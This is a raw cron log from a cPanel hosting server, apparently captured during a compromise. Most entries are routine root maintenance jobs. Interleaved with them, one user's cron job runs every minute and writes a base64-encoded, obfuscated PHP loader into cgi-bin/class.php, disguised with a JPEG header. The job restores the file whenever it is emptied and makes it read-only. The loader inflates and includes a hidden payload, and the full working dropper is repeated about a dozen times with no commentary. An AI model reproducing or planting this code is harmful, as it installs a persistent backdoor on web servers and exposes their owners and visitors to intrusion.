Sep 11 04:32:01 server CROND[11492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:33:01 server CROND[11856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:33:01 server CROND[11857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:33:01 server CROND[11858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:34:01 server CROND[12248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:34:01 server CROND[12247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:34:01 server CROND[12249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:35:01 server CROND[12648]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:35:01 server CROND[12649]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 04:35:01 server CROND[12651]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:35:01 server CROND[12652]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 04:35:01 server CROND[12655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:35:01 server CROND[12657]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 04:35:01 server CROND[12660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:35:01 server CROND[12656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:35:01 server CROND[12658]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 04:36:01 server CROND[13502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:36:01 server CROND[13503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:36:01 server CROND[13504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:37:01 server CROND[13855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:37:01 server CROND[13856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:37:01 server CROND[13857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:38:01 server CROND[14330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:38:01 server CROND[14331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:38:01 server CROND[14332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:39:01 server CROND[14710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:39:01 server CROND[14709]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 04:39:01 server CROND[14711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:39:01 server CROND[14712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:40:01 server CROND[15090]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:40:01 server CROND[15091]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 04:40:01 server CROND[15092]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 04:40:01 server CROND[15098]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 04:40:01 server CROND[15095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:40:01 server CROND[15093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:40:01 server CROND[15094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:40:01 server CROND[15097]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:41:01 server CROND[15908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:41:01 server CROND[15909]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:41:01 server CROND[15911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:42:01 server CROND[16279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:42:01 server CROND[16280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:42:01 server CROND[16282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:42:01 server CROND[16281]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 04:43:01 server CROND[16652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:43:01 server CROND[16653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:43:01 server CROND[16654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:44:01 server CROND[17120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:44:01 server CROND[17121]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
